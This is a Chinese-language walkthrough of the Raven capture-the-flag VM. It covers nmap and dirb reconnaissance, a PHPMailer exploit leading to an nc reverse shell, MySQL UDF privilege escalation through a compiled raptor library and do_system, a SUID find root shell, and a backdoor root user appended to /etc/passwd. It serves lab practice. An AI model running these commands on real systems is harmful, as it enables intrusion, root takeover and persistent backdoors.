搜集信息
kali ip: 192.168.56.109/24
发现目标:nmap -sn 192.168.56.109/24
或 nmap -sP 192.168.56.109/24
靶机ip:192.168.56.114
扫描端口 nmap -A -p- 192.168.56.114
Not shown: 65531 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
| ssh-hostkey:
| 1024 2681c1f35e01ef93493d911eae8b3cfc (DSA)
| 2048 315801194da280a6b90d40981c97aa53 (RSA)
| 256 1f773119deb0e16dca77077684d3a9a0 (ECDSA)
|_ 256 0e8571a8a2c308699c91c03f8418dfae (ED25519)
80/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-title: Raven Security
|_http-server-header: Apache/2.4.10 (Debian)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 38628/tcp6 status
| 100024 1 44698/udp status
| 100024 1 53536/tcp status
|_ 100024 1 60719/udp6 status
53536/tcp open status 1 (RPC #100024)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
在 http://192.168.56.114/team.html 页面下发现团队成员信息,可用crewl抽取用户名进行账户破解。
使用 dirb 192.168.56.109/24
枚举目录发现:/wordpress/,/vendor/
在 192.168.56.114/vendor/PATH 发现flag1
在 192.168.56.114/vendor/VERSION 发现版本 5.2.16
在 http://192.168.56.114/vendor/README.md 发现应用为PHPMailer
利用PHPMailer漏洞
搜索exp发现
修改脚本参数并运行
运行成功后访问 192.168.56.114/contact.php ,在kali监听端口 nc -lp 6666
,再访问 192.168.56.114/xxx.php 得到shell
小技巧
kali使用bash,通过nc得到shell,再通过python的
python -c "import pty;pty.spawn('/bin/bash')"
得到伪shell。
输入Ctrl+Z
挂起任务,再在kali的bash中输入stty raw -echo
,然后再输入fg唤起挂起的nc,这时shell就不会被 Ctrl+C 等快捷键中断。
再使用 find / -name flag* 2>/dev/null
查找flag文件
然后查看php文件信息
登录mysql获得版本
mysql udf 提权
udf提权前提:
- mysql 以root用户身份运行
使用udf即为在mysql中执行shell命令,执行shell的身份即为运行mysql的用户 - mysql有写入文件的权限,即secure_file_priv的值为空
如果为null则无法提权;如果为/tmp
则MySQL的导入导出只能在tmp目录下执行,也无法提权 - 如果MySQL版本>=5.1必须把UDF动态链接库放到mysql安装目录的lib/plugin目录下才能创建自定义函数
- 能否远程登陆,能则使用msf;否则手动编译上传
找到文件并复制
编译生成 1518.so
gcc -g -c 1518.c
gcc -g -shared -o 1518.so 1518.o -lc
启动python编写的简易文件服务器
#!python
import sys, http.server
port= sys.argv[1] if len(sys.argv) > 1 else 80
http.server.HTTPServer(('', port), RequestHandlerClass=http.server.SimpleHTTPRequestHandler).serve_forever()
create table mysql.udf(line blob);
insert into mysql.udf values(load_file('/tmp/1518.so'));
# dumpfile 用于一行导出数据,是原数据导出;outfile 多行导出,会有特殊转换
select * from mysql.udf into dumpfile '/usr/lib/mysql/plugin/udf.so';
# 创建自定义函数 do_system,类型是 integer
create function do_system returns integer soname 'udf.so';
select * from mysql.func;
select do_system('id > /tmp/out; chown raptor.raptor /tmp/out');
\! sh
$ cat /tmp/out # out文件所有者为root,www-data用户无法打开
创建 do_system 函数后
- 方法一
给find命令增加s权限,使其在运行时使用所有者权限
# mysql中 select do_system('chmod u+s /usr/bin/find'); # shell中使用这个命令启动一个新shell find / -exec "/bin/sh" \;
获得root权限
- 方法二
在mysql中使用 do_system 函数和nc反弹shell
kali:
最后一个flag在 /root 目录下 - 增加用户
openssl passwd mima # 得到加密后的密码 select do_system('echo "backdoor:xxxxxxx:0:0:root:/root:/bin/bash" >> /etc/passwd');